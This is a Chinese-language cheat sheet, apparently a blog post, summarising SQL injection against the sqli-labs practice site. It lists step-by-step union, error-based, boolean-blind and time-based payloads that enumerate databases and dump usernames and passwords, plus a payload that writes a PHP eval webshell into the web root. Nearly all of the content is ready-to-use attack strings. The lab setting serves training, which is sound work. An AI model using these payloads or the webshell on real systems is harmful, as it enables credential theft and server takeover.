• sqli-libs总结


    security数据库

     select left(database(),1)=‘s’;   1位是否是s

     select database() regexp ‘s’;  匹配第一个字符是否是 s

    select database() like ‘s%’;     匹配第一个字符是否是 s

     select substr((select database()),1,1)='s’; 匹配第一个字符是否是 s

    select substr((select database()),1,3)= ‘sec’; 匹配前三个个字符是否是 sec

     select ascii(substr((select database()),1,1));    直接回显115   115是对应的ascii

    select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0

     

     联合语句:

    1. ?id=1’     查看是否有注入

    2. ?id=1‘ order by 3--+   查看有多少列

    3. ?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显

    4. ?id=-1‘ union select 1,2,database()--+  查看当前数据库

    5. ?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 0,1--+  查看数据库 ;       

    ?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库

    6.?id=-1‘unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;   

    ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

    查看所有的表;

    7.?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+  查询字段信息

    ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

    查看所有的字段信息

    8. ?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+  查询一个账号和密码

    ?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  查询所有的账号和密码。

     

     

    报错注入

    /?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库

    ?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询所有的数据库,使用limit进行逐个查询

     

    布尔盲注 

    /?id=1‘ and ascii(substr((select database()),1,1)) > 16--+

    /?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+

    先通过大于号或者小于号来判断数据库的第一个字母是哪一个

    ?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s

    ?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+

    判断security数据库中的第4个表中的数据的第一位是否大于11; 

    ?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+

    验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

     

    基于时间的注入

    ?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞

    ?id=1‘ and if(length(database()) = 8,1,sleep(5))--+

    当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8security

    ?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

    如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s

    ?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+

    同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果

     

    一句话木马  

    /?id=-1‘))unionselect1,2,’<?php@eval($_POST[“gxy”]);?>‘intooutfile“C:\phpstudy\PHPTutorial\WWW\sqli\Less-7\test.php” --+

     

    宽字节注入

    原文链接:https://blog.csdn.net/heiseweiye/article/details/82723478

    原文链接:https://blog.csdn.net/helloc0de/article/details/76180190

    推荐解码网站:http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

  • 相关阅读:
    适用于小白的 python 快速入门教程
    Centos7.x & RedHat7.x系统忘记 root 密码解决办法
    让我来教你如何免费使用RHEL小红帽系统
    10#Windows注册表的那些事儿
    9#搭建网站
    8#继承和多态
    7#Java基本语句语法
    6#day2总结
    5#关于数据数值的转换
    .NET Core开发日志——配置
  • 原文地址:https://www.cnblogs.com/199904-04/p/12296733.html
Copyright © 2020-2023  润新知